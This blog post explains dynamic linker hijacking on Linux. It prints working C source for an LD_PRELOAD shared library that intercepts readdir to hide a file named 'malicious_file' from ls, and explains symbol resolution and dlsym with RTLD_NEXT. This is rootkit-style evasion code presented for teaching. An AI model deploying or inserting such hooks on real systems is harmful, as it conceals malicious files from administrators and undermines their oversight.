Dynamic linker hijacking
Published:
Dynamic linker hijacking
This post will explain the implementation details and the reason that why dynamic linker hijacking works. The content and source code is based on Linux rootkits explained – Part 1: Dynamic linker hijacking. I recommend reading the original post first.
Implementation
Here is a C implementation of the attack. Before explaining the code, let’s understand the techcnique behind.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
// Function pointer typedef for the original readdir ls function
typedef struct dirent* (*ls_t)(DIR*);
// Interposed ls function
struct dirent* readdir(DIR* dirp) {
// Get the original readdir address
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
struct dirent* entry;
do {
// Call the original ls function to get the next directory entry
entry = original_readdir(dirp);
// Check if the entry is the file we want to hide
if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) {
// Skip the file by calling the original ls function again
entry = original_readdir(dirp);
}
} while (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0);
return entry;
}
Dynamic Linking and Symbol Resolution
When a dynamically linked executable is run:
- The dynamic loader (
ld.so
) loads all required shared objects (e.g., libc.so , the standard C library) into the process’s address space. - Function calls are resolved to the correct memory addresses based on the dynamic linking symbols.
LD_PRELOAD
Changes This Process: WhenLD_PRELOAD
is set, it tells the dynamic loader to load the specified shared library (e.g.,libhijackls.so
, the shared library that the code above compiled to) **before other shared libraries (likelibc.so
). This affects symbol resolution: functions defined in theLD_PRELOAD
library take precedence over functions in the original shared objects.
Main Idea of the Implementation
Function Redefinition: In the shared library (libhijackls.so
), we define a custom implementation of readdir
. Symbol Precedence via LD_PRELOAD
: When LD_PRELOAD=./libhijackls.so
is set, the dynamic loader sees that your shared library should be loaded first. This means any call to readdir
in the process (e.g., by the ls
command) will use your custom readdir
instead of the original libc.so
version. Accessing the Original readdir
: Even though your readdir
overrides the original, the original function still exists in memory (in libc.so
). You can explicitly access the original function using dlsym
with the RTLD_NEXT
flag.
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
RTLD_NEXT
tells dlsym
to look for the next occurrence of readdir
after the current library (libhijackls.so
) in the dynamic linking chain. This ensures you bypass your custom readdir
and call the original libc.so
version. Calling the Original Function: With the function pointer returned by dlsym
, you can call the original readdir
struct dirent* entry = original_readdir(dirp);
Syntax and Code breakdown
Function pointer declaration Defines a function pointer type (ls_t
) for the readdir
function
typedef struct dirent* (*ls_t)(DIR*);
*ls_t
is a pointer to a function, a programmer-defined identifier. struct dirent*
: The return type of the function (readdir
), which is a pointer to a struct dirent
(structure representing a directory entry). (DIR*)
: Specifies the argument type of the function, which is a pointer to a DIR
structure (representing an open directory). when we need to declare a function pointer for this specific type, you would write:
ls_t original_readdir;
Function definition
struct dirent* readdir(DIR* dirp) {
}
This definition is the same as readdir(3) — Linux manual page.
1. struct dirent*
:
- Return Type: This function returns a pointer to a
struct dirent
. struct dirent
: Represents a directory entry in C. It typically contains fields like the name of the file (d_name
) and other metadata. Thestruct dirent
is defined in<dirent.h>
and varies slightly between systems. A typical definition includestruct dirent { ino_t d_ino; // Inode number off_t d_off; // Offset to the next dirent unsigned short d_reclen; // Length of this record unsigned char d_type; // Type of file char d_name[256]; // Null-terminated filename };
2. readdir(DIR* dirp)
:
- Function Signature: The function takes a pointer to a
DIR
structure as its argument. DIR* dirp
: Represents an open directory stream, obtained by callingopendir()
.
3. What readdir
Does:
- Reads the next entry from the directory stream.
- Returns a pointer to a
struct dirent
describing the entry, orNULL
if no more entries are available.
The rest of the code are easy to understand:
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
LIne above finds the address of the next readdir
function in the shared object search order (i.e., the original readdir
).
if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) {
// Skip the file by calling the original readdir function again entry = original_readdir(dirp);
}
When it encounters a directory entry with the name "malicious_file"
, the condition strcmp(entry->d_name, "malicious_file") == 0
evaluates to true
. Instead of returning this entry to the calling program (e.g., ls
), the custom readdir
function calls the original readdir
function again to fetch the next directory entry. This effectively “hides” the "malicious_file"
entry by not letting it be seen by the calling program. Basically, the do while loop will terminate immediately If a directory entry is not named "malicious_file"